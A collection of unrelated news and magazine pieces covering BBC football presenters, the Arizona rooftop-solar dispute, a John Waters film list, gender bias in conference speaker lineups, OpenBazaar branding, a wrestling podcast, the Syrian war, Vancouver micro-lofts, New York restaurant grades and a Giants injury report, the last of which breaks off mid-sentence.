-Ian Wright has been appointed co-host of BBC Radio 5 live's 606 programme for the 2013/14 season.  The former Arsenal striker will present the live football phone-in show with Kelly Cates on Sundays.  Wright - who previously worked as a pundit on Match of the Day - said he was pleased to be back on the BBC.  "There will be lots to talk about and a lot of divided opinion," he said. "For me, it's all about the fans and what the fans think. I like to hear all sorts of opinions, everyone is entitled to one."  Cates - daughter of Liverpool icon Kenny Dalglish - said of Wright: "As well as having been a brilliant footballer, he's a real fan of the game."  "You don't know what somebody's going to ask," she continued, "what point somebody's going to make, which way the conversation is going to go.  "When it does get heated and it does get passionate, that's really important because it shows people care."  Perou  David Davies/PA Archive  Meanwhile, Match of the Day 2 host Mark Chapman will also present new programme MOTD2 Extra, a debate show focusing on the weekend's games and hot topics. It will air on Sunday lunchtimes simultaneously on BBC One, Radio 5 live and the BBC Sport website.  Dan Walker will continue hosting Football Focus along with 5 live's Friday night preview show. Jason Mohammad will now present a new-look Final Score on Saturdays.  On Match of the Day, former Chelsea striker Gianluca Vialli has signed up as a regular pundit, while Chris Waddle has joined 5 live.  Other regular MOTD pundits alongside Alan Hansen and Alan Shearer will include Gus Poyet, Robbie Fowler, Les Ferdinand, Michael Owen and Robbie Savage.  "This season, the BBC's commitment to football coverage is greater than ever," said Barbara Slater, director of BBC Sport.  "With new-look shows and new names to add to the already impressive presentation and punditry line-up, we're ready to bring all the excitement to our audiences.  "Our digital offering enables fans uninterrupted access to all the key action and events as they unfold, wherever they are, with access to news, scores, TV shows and live radio commentaries on the go."
-Issues of electricity regulation typically play out in drab government hearing rooms. That has not been the case this summer in Arizona, where a noisy argument — featuring TV attack ads and dueling websites — has broken out between regulated utilities and the rooftop solar industry.  An Internet web video attacks the California startup companies that sell rooftop solar systems as the “new Solyndras,” which are spending “hard-earned tax dollars to subsidize their wealthy customers.” Meantime, solar companies accuse Arizona Public Service, the state’s biggest utility, of wanting to “extinguish the independent rooftop solar market in Arizona to protect its monopoly.”  Similar battles about how rooftop solar should be regulated have flared in California, Colorado, Idaho, and Louisana. And the outcome of these power struggles could have a major impact on the future of solar in the U.S.  Opposition from regulated utilities could stop a solar boom before it gets started.  Today’s solar industry is puny — it supplies less than 1 percent of the electricity in the U.S. — but its advocates say that solar is, at long last, ready to move from the fringe of the energy economy to the mainstream. Photovoltaic panel prices are falling. Low-cost financing for installing rooftop solar is available. Federal and state government incentives remain generous.  Yet opposition from regulated utilities, which burn fossil fuels to produce most of their electricity, could stop a solar boom before it gets started.  Several utilities, including Arizona Public Service and Denver-based Xcel Energy, have asked their state regulators to reduce incentives or impose charges on customers who install rooftop solar; so far, at least, they aren’t making much headway. A bill in the California legislature, backed by the utility interests would add $120 a year in fees to rooftop solar customers.  A video posted by advocacy group Arizona Solar Facts attacks rooftop solar startups. YOUTUBE  But other utility companies are adopting a different strategy — they are joining forces with solar interests. NRG Energy, based in Princeton, N.J., has created a rooftop solar unit to sell systems to businesses and, eventually, homeowners. New Jersey’s PSE&G is making loans to solar customers, and Duke Energy and Edison International have invested in Clean Power Finance, a San Francisco-based firm that has raised half a billion dollars to finance solar projects.  “The industry is divided on how to deal with the opportunity — or threat,” says Nat Kreamer, Clean Power Finance’s CEO. “Some utilities are saying, how do I make money off distributed solar, as opposed to, how do I fight distributed solar.”  Distributed solar — which produces electricity outside the grid — “has become one of the more polarizing topics in the power industry, with some utilities joining the party, some doing just what is legislatively mandated, and others remaining reluctant and not being true believers,” according to a new report from Citi Research, called Rising Sun: Implications for U.S. Utilities. The report warns the utilities that “solar is here to stay, and very early in the growth cycle in the U.S.”  Until recently, utilities could ignore solar. Although the sun’s rays have been touted as a clean energy solution since Jimmy Carter first installed photovoltaic panels on the White House roof in 1979, solar remains barely a blip in the U.S. power market. In 2012, solar power provided a mere 0.11 percent of U.S. electricity generation, according to the Energy Information Administration, a government agency. By comparison, coal delivered 37 percent, natural gas 30 percent, nuclear 19 percent, and wind 3.5 percent. And that solar percentage includes utility-scale projects, like the big solar farms in California and Nevada that feed into the electricity grid, as well as distributed solar.  Distributed solar could disrupt the de facto monopoly long held by regulated utilities.  But the solar industry is growing fast, and much of the growth is distributed solar built “behind the meter” — that is, on commercial and residential rooftops, where electricity from solar panels eliminates the need for power that would otherwise be generated and sold by the utilities. Last year, nearly 90,000 businesses and homeowners installed rooftop solar projects totaling about 1.15 gigawatts, roughly the amount generated by a large coal plant. That represented a 46 percent growth over 2011, according to the Solar Electric Power Association. By the end of last year, the number of customer-sited photovoltaic systems in the U.S. topped 300,000, the association says.  Most industry experts expect that growth will accelerate as prices for solar continue to fall, to the point where rooftop solar will eventually cost less than the retail price of grid-delivered electricity. According to the Citi Research report, solar is already cheaper than electricity at the plug in several states, including Arizona, and in many countries, including Germany and Spain, where solar subsidies are generous. Last month, Jon Wellinghoff, the chairman of the Federal Energy Regulatory Commission, told GreenTechMedia that “solar is growing so fast it is going to overtake everything…It could double every two years.”  No wonder the utilities are nervous. Just as personal computers threatened the manufacturers of industrial-sized mainframes, and the rapid adoption of cell phones shook up once-formidable landline operators, distributed solar could disrupt the de facto monopoly long held by regulated utilities.  “From the utility’s perspective, it’s a mortal threat,” says NRG Energy’s chief executive, David Crane. As an independent power producer, NRG competes with regulated utilities; it has been selling rooftop solar directly to commercial customers, including hotels, Arizona State University, and NFL stadiums in Washington, New Jersey, and Philadelphia. “Big corporations are realizing that they can openly display their commitment to sustainability with solar panels without having to pay any more for electricity,” Crane says.  Arizona Public Service says current rules allow solar customers to use the grid for free.  The regulated utilities say they welcome the growth of rooftop solar, as long as businesses and homeowners who install rooftop panels pay their fair share of the costs of maintaining the electricity grid, which they rely on when the sun isn’t shining. The utilities say solar customers currently benefit from subsidies and regulations, particularly the policy of “net metering,” which requires utilities to buy back excess electricity from rooftop solar systems, at retail prices in some locales.  Arizona Public Service, which has asked regulators to impose higher costs on solar customers, says current rules essentially allow those customers to use the grid for free. As a result, customers who can’t afford solar panels or don’t have a place to put them end up paying higher rates. That, in turn, will help drive more customers to solar, increase the burden on those who don’t have it, and, not incidentally, eat into the utility’s earnings. That’s not a sustainable model for the future, the utility argues.  A solar industry group is trying to help utilities and solar companies find common ground.  The Solar Electric Power Association (SEPA), whose members include utilities and solar firms, is trying to help the industries find common ground so both can thrive. “People need to be equitably compensated for the services they are delivering — in both directions,” says Eran Mahrer, executive vice president of strategy and research at SEPA. “At the end of the day, that’s a negotiation.” But because utilities are regulated, and because regulators in some states, including Arizona, are elected, the argument has turned political. It has also led to some unorthodox alliances.  In Arizona, solar firms formed an advocacy group called TUSK (Tell Utilities Solar won’t be Killed) and hired as chairman Barry Goldwater Jr., a former Republican congressman and son of the 1964 presidential nominee. True to his heritage, Goldwater casts the issue as one of giving consumers “the freedom to make the best choice.” The utilities, he says, “don’t like competition. Competition tends to drive the price down and the quality up.” In Georgia, too, Tea Party conservatives have allied with environmentalists to form a Green Tea Coalition to oppose the local utility, again under the banner of free choice.  But other conservatives, including a group funded by the billionaire Koch brothers, are loudly opposing government support for solar. A Virginia-based advocacy group for senior citizens called the 60 Plus Association has built an Arizona website, and an accompanying web video attack on solar subsidies. The video seeks to link California-based rooftop firms SunRun and Solar City, which are operating in Arizona, to bankrupt manufacturer Solyndra, calling them “connected companies getting corporate welfare.” An APS spokesman told Yale Environment 360 that it was not responsible for the video or any campaign against rooftop solar. But APS has confirmed that its parent company, Pinnacle West Capital Corp., hired Sean Noble, an Arizona political consultant who also has worked for the 60 Plus Association. 60 Plus has received funding from Charles and David Koch, whose conglomerate, Koch Industries, includes fossil fuel holdings.  The fact that organizations funded by the Koch brothers are going after solar subsidies may be the best evidence of all that the industry’s future is bright.  Corrections, September 4, 2013: An earlier version of this article misspelled the name of Nat Kreamer, the CEO of Clean Power Finance. It also incorrectly stated the amount of electricity generated by new U.S. rooftop solar projects last year; it was 1.15 gigawatts; not 1.1 megawatts.
-Trey Edward Shults, Krisha, 2015, HD video, color, sound, 83 minutes. Krisha (Krisha Fairchild).  1 KRISHA (Trey Edward Shults) This hilariously harrowing portrait of a family reunion ruined by an alcoholic relative and too many dogs is told with verve and lunacy and features a top-notch performance by Krisha Fairchild, the director’s own aunt. Other people’s hell can sometimes be so much fun.  2 TICKLED (David Farrier and Dylan Reeve) Hahahahaha! First you’ll chuckle watching this exceptional piece of investigative reporting, but then, once the shocking plot twists begin, you’ll choke on that laughter.  3 EVERYBODY WANTS SOME!! (Richard Linklater) The best accidentally gay movie ever made by a known heterosexual director features the most talented and sexy ensemble cast of the last decade.  4 ROAR (Noel Marshall) I finally got to see Tippi Hedren’s real-life snuff movie starring her entire family that was made in 1981 but not released in the US until 2015. Watch, slack-jawed, as Tippi is scalped and her daughter Melanie Griffith mauled by the wild-animal extras who turn out to be the real stars of this nutcase action film.  5 WIENER-DOG (Todd Solondz) The funniest dog movie since Godard’s Goodbye to Language. Nasty, blunt, rude, and full of hideous surprises.  Noel Marshall, Roar, 1981, 35 mm, color, sound, 102 minutes. Hank (Noel Marshall) and Madelaine (Tippi Hedren).  6 ELLE (Paul Verhoeven) Do daughters of mass murderers like to get raped? In France they sometimes do, and only Isabelle Huppert could play this hetero-deviant, Claude-Chabrol-meets-Radley-Metzger character with feminist dignity. Isn’t she the best actress in the whole wide world?  7 JULIETA (Pedro Almodóvar) If Hitchcock had actually understood women, might he not have made this serious and absolutely stunning hellodrama about female longing and loneliness? Rossy de Palma is back, too. Yay!  8 LIKE CATTLE TOWARDS GLOW (Dennis Cooper and Zac Farley) Arty teenage death, Gallic rimming, and a maddening passion for punk penises make this Eric Rohmer–like porno a real French tickler for the fucked-up literary set.  9 VALLEY OF LOVE (Guillaume Nicloux) Yep, it’s her again. Isabelle Huppert and the fattest Gérard Depardieu you’ve ever seen team up as parents in Death Valley, searching for some kind of mystical message from their son who has just committed suicide. Even dead Pasolini would love this film.  10 A QUIET PASSION (Terence Davies) The grim curse of Emily Dickinson’s poetic talent has never been shown with such depressing clarity. If you can’t enjoy suffering along with her, you should be dead too.  John Waters has already left on an eighteen-city tour for his spoken-word show A John Waters Christmas.  This is a complimentary article. Subscribe to access the rest of the issue and our online archives.
-This post has been corrected.  All-male speaker lineups are so commonplace that there’s at least one Tumblr blog dedicated to mocking them (with a David Hasselhoff meme, no less). The endless stream of them can leave a thinking person overwhelmed and perhaps even convinced that they’re inevitable.  If you find yourself in this camp, help is on the way. Enter mathematician Greg Martin, who has presented an ingenious statistical probability analysis that even amateurs like me can(well, mostly) understand. Working with a “conservative” assumption that 24% of PhDs in mathematics have been granted to women over the last 25 years, he finds that it’s overwhelmingly improbable that a speakers’ lineup including one woman and 19 men could be random.  His explanation of the formula is a rollicking one involving marbles and a potentially suspicious roommate, and you which you can read here. The underrepresentation of women on speakers’ lists doesn’t “just happen,” despite many conference organizers’ claim that it does.  If you do the math, as Martin has, the argument that speakers are chosen without bias simply doesn’t hold up. In fact, when using the formula to analyze the speakers’ list for a mathematics conference—which featured just one woman and 19 men—he found that it would be eighteen times as likely for women to be overrepresented on the speakers’ list than to be so underrepresented.  The formula can just as easily be applied to other fields; all that’s needed is reliable data on the field’s gender distribution, which can usually be gathered by way of industry associations and/or government statistics (pdf).  I spoke with Martin about his analysis, its implications and whether it might finally convince conference organizers to stop making excuses for their underrepresentation of women.  What prompted you to calculate the statistical probability of all-male speakers’ lists?  While I’d love to claim it was my idea originally, that’s not the case—I came across a Conference Diversity Distribution Calculator by Aanand Prasad on the web. Prasad further credits inspiration for the idea to comments by Dave Wilkinson and Paul Battley.  As a side note, following Prasad’s links to those comments leads to two web pages—this one and this one—concerning tech conferences within the last three years that were criticized for inviting men almost exclusively; reading the rest of those comment threads reveals how truly dismissive and defensive people get when gender disparity is pointed out. Sadly, we still have a long way to go.  If I understand your conclusion correctly, the odds of having zero women speakers at a math conference are next to none.  If conference speakers were being chosen by a system that treated gender fairly (which is to say, gender was never a factor at all), then in any conference with over 10 speakers, say, it would be extremely rare to have no female speakers at all—less than 5% chance, depending on one’s assumption about the percentage of women in mathematics as a whole.  Turning that statement around, we conclude that any such conference without any female speakers must have come into being in a system that does not treat gender fairly.  So then why do so many STEM events still have so few women at the front of the room?  There are many possible reasons why a STEM event might have vanishingly few women among its speakers. Outright sexism and misogyny are rare these days (I hope!), but it still happens. Much more common, I believe, is that all of us carry implicit biases—internal prejudices, difficult to detect in any individual instance, against the idea that women can excel in science and math. These biases have been shown to literally alter our perception of women in STEM fields, so that we evaluate them as being less accomplished as men with identical CVs. This (unintentionally) unfair evaluation of women by conference organizers, together with the psychological tendency to first call to mind stereotypical representatives of categories (for example, male mathematicians), lead them to come up with speaker lists consisting disproportionately of male speakers.  Unless we consciously try to observe the gender composition at conferences, the same biases cause us not to even notice that there are far too few women to be the result of a fair process; and so the injustice is perpetuated.  In the technology sector, there’s an almost evangelical adherence to the religion of meritocracy, no matter how many studies come out proving that we all have unconscious biases—and therefore, so do the structures and processes we create (like job postings, university programs and calls for speakers). Is that true in the math world? What would you tell event organizers who argue that they’re not trying for a random selection of speakers, but are simply choosing the best (however that’s measured)?  The idea of meritocracy is very much a part of mathematical culture—both that meritocracy is the desired state of our discipline and (more implicitly) that it is also the state of our discipline in practice. Unfortunately, as the aforementioned research into implicit bias shows, in practice we are not really that good at fairly evaluating people’s success independent of cultural prejudices like gender (and ethnicity and age and affiliation…).  When addressing an event organizer (or anyone) who on meritocratic grounds opposes paying attention to gender, the crucial step is to draw explicit attention to their underlying assumption: they are assuming that the current system is purely meritocratic in practice, and that efforts to introduce gender into the decision-making is necessarily an addition of unfairness. Helping someone learn by presenting them with the truth, after all, will never work if they already have a conflicting falsity in their minds.  So I think it is important to assert explicitly that the current system, in practice, is flawed and systematically biased, and that efforts to introduce gender into the decision-making is actually a subtraction of unfairness—an effort to bring reality closer to the theoretical meritocracy we all desire.  One of the more compelling points you make in your analysis is that if speakers’ lists were truly selected without bias, we would be 18 times more likely to see an overrepresentation of women speakers than an underrepresentation. Have you ever seen a speakers’ list (at an event not geared specifically towards women, that is) that leaned heavily in favor of women?  That’s a great question, and I do not remember ever being in that situation—being at a conference where over one third, say, of the speakers have been women, much less over half (depending on how one interprets “leaned heavily”).  The January Joint Meetings of the American Mathematical Society and the Mathematical Association of America tend to have a decently large percentage of women speakers, between 25% and 30%. However, there are internal stratifications in place: the more prestigious a speaking position or session is, and the more it is associated with hardcore mathematical research, the smaller the percentage of women speakers.  There is also a significant correlation of the gender composition of a session’s speakers with the presence of one or more women on its organizing committee—these sessions have nearly twice as many female speakers on average.  It’s therefore important for us to realize that implicit bias doesn’t just affect sheer numbers of speakers, it also affects whether we select them for, say, keynote spots or supporting roles.  How do you hope people will use your statistical probability formula?  In my mind, using this sort of calculation has limited effectiveness as a proactive tool. Changing from the real-life situation to a probabilistic model is quite an imperfect process, and people can rightly criticize details of that change to the point where the underlying message is obscured. However, when people choose to resist the idea of gender inequity based on probabilistic statements (“having few women just happens by chance”), then they’re the ones holding out the petard to be hoisted by. I like the idea of using this probabilistic tool in response to such statements—”Ah, well, if you are going to suggest that probability is the right way to examine the situation, let’s see how that works out for you…!”  Correction: A previous version of this post stated that when Greg used his formula to analyze speakers at a math conference, women would be five times overrepresented. A previous version also stated that it is statistically impossible for a speaker lineup to contain 19 men and one women and be random.
-With a strong vision of who the initial audience is, we sought to design a brand, UI and UX that had some personality and uniqueness to it. We wanted it to be something that catches your eye the first time you use it. Something with consideration for the small details. Something that doesn’t come across as timid, but instead portrays enough confidence to reinvent the rules of an entire industry.  The initial audience of OpenBazaar is primarily made up of tech savvy individuals, Bitcoin addicts and independent creators (artists, designers, musicians, authors, homemade food & drink producers, gamers, entertainers, hand-crafters, ex-eBayers and so on).  Name  One of the most common mistakes I’ve seen in regards to the OpenBazaar branding is the misspelling of the name.  INCORRECT USAGE  Open Bazaar (no space please) Openbazaar (the b should be capitalized) OpenBizaar (umm)  CORRECT USAGE  OpenBazaar (one word with a capitalized O and capitalized B)  Logo & Identity  The OpenBazaar logo has recently gone through some light cosmetic changes. We love the tent, but it had a few issues that we wanted to clean up.  Old logo (do not use)  The flag didn’t render well on light backgrounds. The flaps of the opening weren’t proportioned correctly. The colors could be simplified.  So we gave it a slight overhaul to correct the problems  The updated OpenBazaar logo  I ask everyone to please use the new logo going forward. If you need a copy of the logo, I’ve uploaded it to Github.  Martijn enjoying his brand new OpenBazaar shirt with the refreshed logo :)  Colors  Color 1  HEX: #063753  RBG: 6,55,84  Color 2  HEX: #215175  RBG: 33,81,117  Color 3  HEX: #106DA3  RBG: 16,109,163  Color 4  HEX: #327EB8  RBG: 50,126,184  Characteristics  The branding of OpenBazaar possesses 3 main characteristics:  Confidence  OpenBazaar doesn’t second guess itself. It’s providing a new ability to each and every person in the world, entirely for free. With any major social movement or technical advancement, confidence plays a major role in its success, and OpenBazaar is no exception. OpenBazaar is here to make trade free for all, and it’s going to be clear and direct in its path to doing so. Intelligence  Doing things that are “good enough” isn’t what OpenBazaar stands for. Every piece of content, every element within the UI and every new feature that rolls out will be crafted with thought and care for the community of users. The tools we’ve had available over the last decade to conduct trade online are not “good enough”, they’re too expensive, too limiting, difficult to configure, and they’re not delightful to use. Mysterious  Playing off the name of the project and the reality of an open market, OpenBazaar embraces who it is and what it stands for by layering mysterious elements into the branding. The colors are a bit bolder, the listings are unfiltered and the UI interactions are more edgy, which is all by design to leave the audience constantly wondering what is around the corner.  To summarize, OpenBazaar isn’t the kid sitting in front of the classroom raising their hand begging to be called on to earn yet another gold star. It’s the kid in the back of the classroom that understands the architectural problems of the school system and makes it a life mission to build a better platform for everyone.  Thanks for reading  If you have any questions about the branding of OpenBazaar or how it will evolve in the future, feel free to post a comment below.  In the next OpenBazaar in Detail article, I’ll be diving deeper into “Pages”.  And, if you haven’t tried OpenBazaar yet, Download today!  Mike Wolf (@thee_wolf)  UX / Design Lead @ OpenBazaar
-Hey folks, the Short Time Wrestling Podcast is now available as a standalone app for your Apple iOS devices and Android platforms. That's right, go to www.mattalkonline.com/iosapp to download the FREE app for your iPhone or iPad and if you want to head over to the Google Play store and get the app for your Android devices, go to www.mattalkonline.com/androidapp.  On Episode 151 of the Short Time Wrestling Podcast, we catch up with two-time NCAA wrestling champion Johny Hendricks as he prepares for his upcoming fight at UFC 185 in Dallas against UFC veteran Matt Brown.  We're also running a special promotion in conjunction with Team Takedown. If you buy a shirt from www.johnyhendricks.com between now and fight night, you'll be entered into a drawing to win a pair of autographed Johny Hendricks fight gloves.  We get to the origination of the spelling of his nickname, which believe it or not, comes from World of Warcraft. We'll also talk about how he's been managing his weight and now working again with Kenny Monday. Hendricks looks back at fights with Robbie Lawler and Georges St. Pierre and how those two losses continue to drive him.  Hendricks talks about his days at Oklahoma State and how he had to embrace the bad guy image and how much easier it is now for him to simply be himself. He also addresses the thought of a fight with Ben Askren and we get to the bottom of the alleged All-Star Classic bout that never happened. There's also quite a twist.  SUBSCRIBE TO SHORT TIME  iTunes | Stitcher | Spreaker | iHeartRadio | TuneIn | SoundCloud | RSS  And if you haven't already, head to www.mattalkonline.com/getshorttime to leave a rating and a review on iTunes.  The Short Time Time Wrestling Podcast is proudly sponsored by Flipswrestling. Share your attitude and be heard at Flipswrestling.com.
-MUNICH/BEIRUT (Reuters) - Russia said on Saturday a Syria ceasefire plan was more likely to fail than succeed, as Syrian government forces backed by Russian air strikes took rebel ground near Aleppo and set their sights on the Islamic State stronghold of Raqqa province.  International divisions over Syria surfaced anew at a Munich conference where Russia rejected French charges that it was bombing civilians, just a day after world powers agreed on the “cessation of hostilities” due to begin in a week’s time.  U.S. Secretary of State John Kerry reiterated accusations that Russia was hitting “legitimate opposition groups” and civilians with its bombing campaign in Syria and said Moscow must change its targets to respect the ceasefire deal.  The conflict, reshaped by Russia’s intervention last September, has gone into an even higher gear since the United Nations sought to revive peace talks. These were suspended earlier this month in Geneva before they got off the ground.  Turkish forces shelled Kurdish YPG militia targets near the northern Syrian town of Azaz on Saturday, Turkey’s Prime Minister Ahmet Davutoglu said, demanding that the group withdraw from land it recently captured.  The United States urged both Turkey and the Syrian Kurds to step back and focus instead on tackling the “common threat” of Islamic State militants who control large parts of Syria.  The Syrian army looked poised to advance into the Islamic State-held province of Raqqa for the first time since 2014, apparently to pre-empt any move by Saudi Arabia to send ground forces into Syria to fight the jihadist insurgents.  A Syrian military source said the army captured positions at the provincial border between Hama and Raqqa in the last two days and intends to advance further.  “It is an indication of the direction of coming operations towards Raqqa. In general, the Raqqa front is open ... starting in the direction of the Tabqa area,” the source said.  Tabqa is the location of an air base captured by Islamic State two years ago, and the source said the army had moved to within 35 km (20 miles) of the base.  The cessation of hostilities deal agreed by major powers falls short of a formal ceasefire, since it was not signed by the warring parties - the government and rebels seeking to topple President Bashar al-Assad in a five-year war that has killed at least 250,000 people.  If its forces retake Aleppo and seal the Turkish border north of the city, Damascus would deal a crushing blow to the insurgents who were on the march until Russia intervened, shoring up Assad’s rule and paving the way to the current reversal of rebel fortunes.  Russia has said it will keep bombing Islamic State and the al Qaeda-linked Nusra Front, which in many areas of western Syria fights government forces in close proximity to insurgents deemed moderates by Western states.  Russian Foreign Minister Sergei Lavrov, asked at a security conference in Munich on Saturday to assess the chances of the cessation of hostilities deal succeeding, replied: “49 percent.”  Asked the same question, his German counterpart Frank-Walter Steinmeier put the odds at 51 percent.  The complex, multi-sided civil war in Syria, raging since 2011, has drawn in most regional and global powers, caused the world’s worst humanitarian emergency and attracted recruits to Islamist militancy from around the world.  Assad, backed on the ground by Iranian combatants and Lebanon’s Hezbollah in addition to big power ally Russia, is showing no appetite for a negotiated ceasefire. He said this week that the government’s goal was to recapture all of Syria, though he said this could take time.  The U.S. government said Assad was “deluded” if he thought there was a military solution to the conflict.  Syrian state television announced the army and allied militia had on Saturday captured the village of al-Tamura overlooking rebel terrain northwest of Aleppo.  The Syrian Observatory for Human Rights reported advances in the same area, adding that Russian jets had hit three rebel-held towns near the Turkish border.  Government offensives around Aleppo have sent tens of thousands of people fleeing towards the Turkish border.  ISLAMIC STATE TARGETED  Islamic State, driven by the goal of expanding its “caliphate” rather than reforming Syria - the original goal of the opposition when the conflict began as an unarmed street uprising in 2011 - is being targeted in separate campaigns by a U.S.-led alliance and Assad’s government with Russian air support. Regional Kurdish forces supported by Washington are also fighting Islamic State in Raqqa province.  Gulf states that want Assad gone from power have said they would be willing to send in troops as part of any U.S.-led ground attack against Islamic State. U.S. Defense Secretary Ash Carter said on Friday he expected Saudi Arabia and the United Arab Emirates to send commandos to help recapture Raqqa.  Turkish Foreign Minister Mevlut Cavusoglu was reported as saying Saudi Arabia will send aircraft to Turkey’s Incirlik air base to support the air campaign against Islamic State in Syria.  “Saudi Arabia is now sending planes to Turkey, to Incirlik. They came and carried out inspections at the base,” Cavusoglu told the Yeni Safak newspaper, adding it was unclear how many planes would come and that the Saudis might also send soldiers.  Russian Prime Minister Dmitry Medvedev said on Saturday in Munich there was no need to scare anyone with a ground operation in Syria.  Stalls are seen on a street beside damaged buildings in the rebel held al-Shaar neighborhood of Aleppo, Syria, February 10, 2016. REUTERS/Abdalrhman Ismail  Two Syrian rebel commanders told Reuters on Friday insurgents had been sent “excellent quantities” of Grad rockets with a range of 20 km (12 miles) by foreign backers in recent days to help confront the Russian-backed offensive in Aleppo.  Foreign opponents of Assad including Saudi Arabia and Turkey have been supplying vetted rebel groups with weapons via a Turkey-based operations centre.  Some of these groups have received military training overseen by the U.S. Central Intelligence Agency. The vetted groups have been a regular target of the Russian air strikes.
-We've seen it in science-fiction books and movies before — the urban dystopia where living space has shrunk to almost nothing to house a teeming humanity. Now it seems to be here... or at least scheduled for 2011.  The loft — already a compact, efficient living arrangement that eschews most luxury — is being replaced in some places, including one city in windy, wide-open Canada, by the even more austere micro-loft. Soon you can live like Larry Niven's Louis Grindley Wu (in Ringworld Engineers), who could see both doors to his apartment from his chair.  Advertisement  That's the news in a new post at Core77, which says that Vancouver — a progressive, green city that also has some of the highest rents in the world even before Olympic madness — could lead the way.  And of course, as Thomas Malthus warned us two centuries ago, it could take off from there: "In a problem spreading across the globe," the post says," the population is outstripping the available space."  It's another step in a trend — mass produced faux-Tuscan mini-mansions be damned — toward more compact living: The micro-lofts should be ready to roll next year.  Explains Core77:  Although the comedian Ricky Gervais is now fabulously wealthy, in one of his sets he recalls how, as a poor unknown, he and his girlfriend shared a London flat so small that he could open the refrigerator whilst still in bed. In Tokyo I saw similarly tiny apartments, where you would open the front door and hit the bed; and New York's East Village spawns, among other trends, some of the tiniest rabbit-hutch apartments you'll ever see.  Advertisement  (Here's another report on CTV News.)  A developer has just unveiled 270-square foot apartments with Murphy beds, folding kitchen and built-in shelving and flatscreen TVs. (One bit of advice: Windows.)  Besides Ringworld Engineers, what other scifi books or films does this remind us of?
-At Zero Otto Nove, a stalwart trattoria in the Bronx, Mr. Bloomberg sought to pre-empt criticism by citing statistics showing an uptick in restaurant revenue and a reduction in salmonella infections since the grading system began in 2010. He denounced critics as “people that complain because they don’t want to keep their restaurants clean.”  “They think it’s O.K. to have mice and roaches and dirt and not have people wash their hands before they come back from the bathroom,” the mayor said, his voice rising. “That’s just simply unacceptable, and their complaints are going to fall on deaf ears, I can tell you that. We’re not going to change.”  The Council speaker, Christine C. Quinn, who is rarely at odds with the mayor, later offered a firm, if measured, rejoinder.  “The mayor is appropriate to defend the idea of a grading system; I defend the idea of a grading system,” Ms. Quinn said in an interview. “I also have to respond when I’ve heard this many complaints from constituents.”  “All I want to make sure is that the grades really tell the true story, and they do it in a way that doesn’t overly or inconsistently fine,” she added.  For health officials, the Council’s hearing came at an inopportune moment. The New York Post reported over the weekend that Per Se, consistently rated among the city’s best restaurants, had avoided a “B” grade with a telephone call to a city official, in which the restaurant successfully argued that the inspection report had contained errors.  City Hall officials quickly pointed out that several dozen restaurants, of varying degrees of prestige, had taken the same route to contest alleged violations and avoid a protracted adjudication process. Mr. Bloomberg, at his news conference on Tuesday, referred to any suggestion of undue influence as “an outrage.”  Photo  “It’s just so unfair,” the mayor said. “No wonder sometimes it’s just so hard for everybody to keep working in this city and trying to do what’s right.”  Advertisement Continue reading the main story  About 72 percent of restaurants have an “A” grade, and Mr. Bloomberg noted that an imperfect rating was not necessarily a reason to avoid a restaurant: he said he had continued patronizing a coffee shop near his Upper East Side town house despite its recent drop from an “A” to a “B.”  The health department has been spot-checking restaurants for safety and sanitary issues for decades, but the unappetizing findings — a roach in the kitchen, unrefrigerated, raw food — were published only in hard-to-find documents, and fines for violations were often quietly paid, with the consumer none the wiser.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Mr. Bloomberg and Ms. Quinn agreed on Tuesday that the grading system provided diners with more access to information, but some restaurant owners argued that the grading system was far too blunt and was frequently based on relatively minor issues.  “It could be a cracked toilet cover; it could be a gap around a pipe,” said Peter Hansen, the director of operations at Benchmarc Restaurants, which owns several expensive dining establishments in the city.  “But,” Mr. Hansen added, “what your customer is thinking is: old tuna.”  Elizabeth Meltz, who oversees food safety at Mario Batali’s Italian restaurants, said that she supported a grading system and that it could improve public health.  But, echoing other restaurant workers, she said some city health inspectors seemed inconsistent in their standards, asking about certain elements of the kitchen on some visits and not on others. Sometimes, the inspectors appeared unfamiliar with complex dishes like terrine and kimchi, Ms. Meltz said, and on one occasion, she believed that an inspector was disrespectful to her because of her gender.  “There can be a lack of ability to communicate whatever expertise they may or may not have,” Ms. Meltz said. “I’m all for the grading system. If we could help the health department get the inspectors that they need and deserve, it should work for everybody.”  Ms. Meltz said she wished inspectors and restaurant workers better understood each other’s needs. “Inspectors could come in and dine, and see what our food is like, and why our antipasti are at room temperature,” she suggested. “And a couple of our sous chefs could take a week of the inspectors’ courses, to see how they inspect, so it’s not this guessing game.”  Advertisement Continue reading the main story  In the case of James, which serves artisanal American cuisine on the ground floor of a Prospect Heights brownstone, one of the reasons for its “B” rating was the lack of a ventilating fan in an employee bathroom.  “The bathroom was well ventilated, and I tried to explain that to the inspector, but I guess the law’s the law,” said Bryan Calvert, the chef and one of the owners of the restaurant, who later installed a fan.  Mr. Calvert, who said he prided himself on employing a highly trained staff, said that he missed the “A” cutoff by one or two points, and that he was disheartened when he initially received the lower grade.  “It’s very frustrating,” he said. “We definitely had people who would ask, ‘What happened?’ ”
-The defensive end, who broke his leg after playing in 10 games during the 2007 Super Bowl season, was optimistic this injury would subside with time and he could resume playing again this season.  The Kiwanuka move was made so the Giants could sign kick returner Will Blackmon.  Kiwanuka, 27, said he will remain with the Giants until his contract expires at the end of the season. Depending on what transpires with the collective bargaining agreement, Kiwanuka will be looking for a new contract and possibly an opportunity to start at defensive end. The Giants have starters Osi Umenyiora and Justin Tuck. Rookie Jason Pierre-Paul is also waiting for a chance.  "Like I said before, I felt like, given enough time, I could've made it back this season, but it's the nature of the business," Kiwanuka said in a statement. "The Giants had to move on, and I had to be OK with it. Regardless of what happens to me as an individual, I'm definitely still going to work with the Giants organization throughout the term of my contract."  It seemed inevitable Kiwanuka's season would end on IR. Kiwanuka hasn't played since the team's loss to Tennessee in the third week of the season.  He led the team in sacks through the first three games with four while thriving in Perry Fewell's new system at defensive end and linebacker. But days before the Giants' win over Chicago, he was diagnosed with a bulging disk in his neck, a similar injury to the one that ended Antonio Pierce's season and career.  Kiwanuka spent much of this past month seeing various doctors. It was after a recent visit to spine specialist Robert Watkins that Kiwanuka's injury was diagnosed as a herniated disk, instead of a bulging disk, meaning it had ruptured. But Kiwanuka said doctors told him his disk will heal on its own without surgery due to the slight degree of the herniation and the alignment of his spine. It just requires time.  "I want to avoid surgery," he said. "The consensus is that if I take 